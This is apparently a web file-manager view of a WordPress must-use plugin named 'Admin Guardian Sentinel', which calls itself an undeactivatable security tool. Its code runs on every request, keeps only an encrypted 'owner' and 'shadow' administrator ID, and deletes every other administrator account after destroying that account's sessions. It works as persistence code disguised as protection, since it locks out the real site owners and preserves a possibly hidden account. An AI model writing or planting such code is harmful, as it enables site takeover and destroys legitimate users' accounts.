Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
posthelic
/
wp-content
/
plugins
/
admin-wp
/
mu-plugin
:
admin-wp-sentinel.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php /** * Plugin Name: Admin Guardian Sentinel * Description: Autonomous security sentinel. Cannot be deactivated from the admin panel. * Version: 1.0.0 * Author: AWG */ if ( ! defined( 'ABSPATH' ) ) exit; final class AWG_Sentinel { private static $booted = false; public static function boot(): void { if ( self::$booted ) return; self::$booted = true; add_action( 'init', [ __CLASS__, 'check' ], 0 ); } public static function check(): void { if ( self::main_plugin_active() ) return; self::emergency_scan(); } /* ---- is the main plugin loaded? ---- */ private static function main_plugin_active(): bool { return defined( 'AWG_VERSION' ); } /* ---- standalone admin scan (no dependency on main plugin classes) ---- */ private static function emergency_scan(): void { $owner_id = self::get_encrypted_option( '_awg_oid' ); $shadow_id = self::get_encrypted_option( '_awg_sid' ); if ( ! $owner_id && ! $shadow_id ) return; global $wpdb; $admin_ids = $wpdb->get_col( "SELECT u.ID FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id WHERE um.meta_key = '{$wpdb->prefix}capabilities' AND um.meta_value LIKE '%administrator%'" ); $whitelist = array_filter( [ (int) $owner_id, (int) $shadow_id ] ); foreach ( $admin_ids as $uid ) { $uid = (int) $uid; if ( in_array( $uid, $whitelist, true ) ) continue; self::destroy_sessions( $uid ); self::delete_user( $uid, (int) $owner_id ); self::log_sentinel( "Removed unauthorized admin ID={$uid}" ); } } /* ---- decrypt option (minimal, self-contained) ---- */ private static function get_encrypted_option( string $key ) { if ( ! function_exists( 'sodium_crypto_secretbox_open' ) ) return null; $raw = get_option( $key, null ); if ( ! $raw ) return null; $master = self::derive_key(); if ( ! $master ) return null; $decoded = base64_decode( $raw, true ); if ( ! $decoded || strlen( $decoded ) < SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + 1 ) return null; $nonce = substr( $decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES ); $ct = substr( $decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES ); $plain = sodium_crypto_secretbox_open( $ct, $nonce, $master ); if ( $plain === false ) return null; return json_decode( $plain, true ); } private static function derive_key(): ?string { if ( ! defined( 'AUTH_KEY' ) || ! defined( 'SECURE_AUTH_KEY' ) ) return null; $salt = defined( 'AWG_PLUGIN_SALT' ) ? AWG_PLUGIN_SALT : 'awg_fallback_' . DB_NAME; $material = AUTH_KEY . SECURE_AUTH_KEY . $salt; return sodium_crypto_generichash( $material, '', SODIUM_CRYPTO_SECRETBOX_KEYBYTES ); } /* ---- user operations (standalone) ---- */ private static function destroy_sessions( int $uid ): void { $manager = WP_Session_Tokens::get_instance( $uid ); $manager->destroy_all(); } private static function delete_user( int $uid, int $reassign = 0 ): void { if ( ! function_exists( 'wp_delete_user' ) ) { require_once ABSPATH . 'wp-admin/includes/user.php'; } wp_delete_user( $uid, $reassign > 0 ? $reassign : null ); } /* ---- simple file log ---- */ private static function log_sentinel( string $msg ): void { $log = get_option( '_awg_incident_log', [] ); $log[] = [ 'type' => 'sentinel_action', 'details' => $msg, 'time' => current_time( 'mysql' ), 'ip' => $_SERVER['REMOTE_ADDR'] ?? 'cli', ]; if ( count( $log ) > 200 ) { $log = array_slice( $log, -200 ); } update_option( '_awg_incident_log', $log, false ); } } AWG_Sentinel::boot();